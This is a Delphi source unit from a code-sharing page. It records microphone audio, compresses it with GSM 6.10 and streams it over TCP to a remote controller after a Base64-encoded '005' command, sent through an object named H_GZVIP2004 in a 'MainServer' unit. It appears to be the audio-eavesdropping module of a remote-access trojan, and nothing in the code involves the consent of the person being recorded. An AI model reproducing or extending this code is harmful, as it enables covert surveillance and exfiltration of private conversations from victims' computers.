📄 tacmwaveinunit.pas
字号:
unit TACMWaveInUnit;
interface
uses
Windows,Classes, IdTCPClient,IdGlobal,ComCtrls,SysUtils,BASE64,MMSystem ,
soundin,mixing,soundConverter,headers;
type
TACMWaveInThread = class(TThread)
private
SysThread:TIdTCPClient;
Acmin1: Tacmin;
procedure ACMIn1BufferFull(Sender: TObject; Data: Pointer;
Size: integer);
protected
procedure Execute; override;
Public
constructor Create;
destructor Destroy; override;
end;
implementation
uses MainServer;
procedure TACMWaveInThread.ACMIn1BufferFull(Sender: TObject; Data: Pointer;
Size: integer);
var
mdata: array[1..512] of char;
k:integer;
begin
try
for k := 1 to size do
mdata[k] := pchar(dword(data) + k - 1)^;
SysThread.WriteBuffer(mdata,Sizeof(mdata));
except
end;
end;
constructor TACMWaveInThread.Create;
var
origformat: pWaveFormatEX;
s: array[1..256] of byte;
F: Tacmwaveformat;
begin
inherited Create(True);
SysThread:=TIdTCPClient.Create(nil);
SysThread.RecvBufferSize:=32768;
SysThread.SendBufferSize:=32768;
ACMIn1:= Tacmin.Create(nil);
acmin1.buffersize := 512;
acmin1.numbuffers := 4;
ACMIn1.onbufferfull:=ACMIn1BufferFull;
GetMem(OrigFormat, Sizeof(TACMWaveFormat));
with origformat^ do
begin
wformattag := 49; // gsm 6.10 2kb
nchannels := 1;
nsamplespersec := 8000;
navgbytespersec := 1625;
nblockalign := 65;
wbitspersample := 0;
cbsize := 2;
move(origformat^, s, Sizeof(TACMWaveFormat));
s[18] := 0;
s[19] := 64;
s[20] := 1;
move(s, f.format, sizeof(Tacmwaveformat));
end;
freemem(origformat);
//Acmin1.BufferSize := trunc(f.Format.nAvgBytesPerSec / 20);
//if Acmin1.buffersize <= f.format.nblockalign then
//Acmin1.BufferSize := f.format.nblockalign * 2;
//if Acmin1.buffersize > 1900 then acmin1.buffersize := 1900;
//if Acmin1.buffersize = 150 then acmin1.BufferSize := 150 + 65;
try
Acmin1.Open(f);
except
ACMIn1.Close;
end;
ACMWaveOver:=True;
FreeOnTerminate:=True;
Suspended := false;
//Priority:=tpIdle;
end;
procedure TACMWaveInThread.Execute;
var
Request:String;
begin
if H_GZVIP2004.ConRpcport(SysThread) then
begin
try
Request:='005';
Request:=EncodeBase64(Request);
SysThread.Write(Request+EOL);
except
SysThread.Free;
Self.Terminate;
exit;
end;
try //循环发送
repeat
Sleep(1);
until (Terminated) or (SysThread.Connected=False);
except
end;
end;
SysThread.Disconnect;
SysThread.Free;
// Self.Terminate;
end;
destructor TACMWaveInThread.Destroy;
begin
ACMWaveOver:=False;
inherited destroy;
end;
end.
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -